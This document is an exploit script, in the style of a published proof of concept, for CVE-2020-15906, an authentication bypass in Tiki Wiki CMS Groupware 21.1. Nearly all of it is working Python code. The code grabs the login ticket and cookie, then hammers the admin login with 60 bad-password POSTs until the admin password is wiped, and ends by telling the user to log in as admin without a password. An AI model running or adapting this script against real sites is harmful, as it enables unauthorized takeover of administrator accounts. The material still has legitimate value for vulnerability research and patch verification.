# Exploit Title: Tiki Wiki CMS Groupware 21.1 - Authentication Bypass
# Date: 01.08.2020 (1st August 2020)
# Exploit Author: Maximilian Barz aka. Silky
# Vendor Homepage: tiki.org
# Software Link: https://jztkft.dl.sourceforge.net/project/tikiwiki/Tiki_21.x_UY_Scuti/21.1/tiki-21.1.zip
# Version: 21.1
# Tested on: Kali Linux 5.7.0-kali1-amd64
#!/usr/bin/env/python3
import requests
import json
import lxml.html
import sys
banner = '''
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Poof of Concept for CVE-2020-15906 by Maximilian Barz, Twitter: S1lky_1337
'''
def main():
if(len(sys.argv) < 2):
print(banner)
print("Usage: %s <host> " % sys.argv[0])
print("Eg: %s 1.2.3.4 " % sys.argv[0])
return
rhost = sys.argv[1]
url = "http://"+rhost+"/tiki/tiki-login.php"
session = requests.Session()
def get_ticket():
r = requests.get(url)
login_page = r.text.encode('utf-8')
html = lxml.html.fromstring(login_page)
auth = html.xpath('//input[@name="ticket"]/@value')
return str(auth)[2:-2]
def get_cookie():
session.get(url)
return session.cookies.get_dict()
cookie = get_cookie()
ticket = get_ticket()
payload = {'ticket': ticket,'user':'admin', 'pass':'test','login':'','stay_in_ssl_mode_present':'y','stay_in_ssl_mode':'n'}
headers = {
'Host': rhost,
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzrhost, deflate',
'Referer': 'http://'+rhost+'/tiki/tiki-login.php',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': '125',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1',
'Cache-Control': 'max-age=0',
}
for i in range(60):
r = session.post(url, payload, headers)
if("Account requires administrator approval." in r.text):
print("Admin Password got removed.")
print("Use BurpSuite to login into admin without a password ")
if(__name__ == '__main__'):
main()
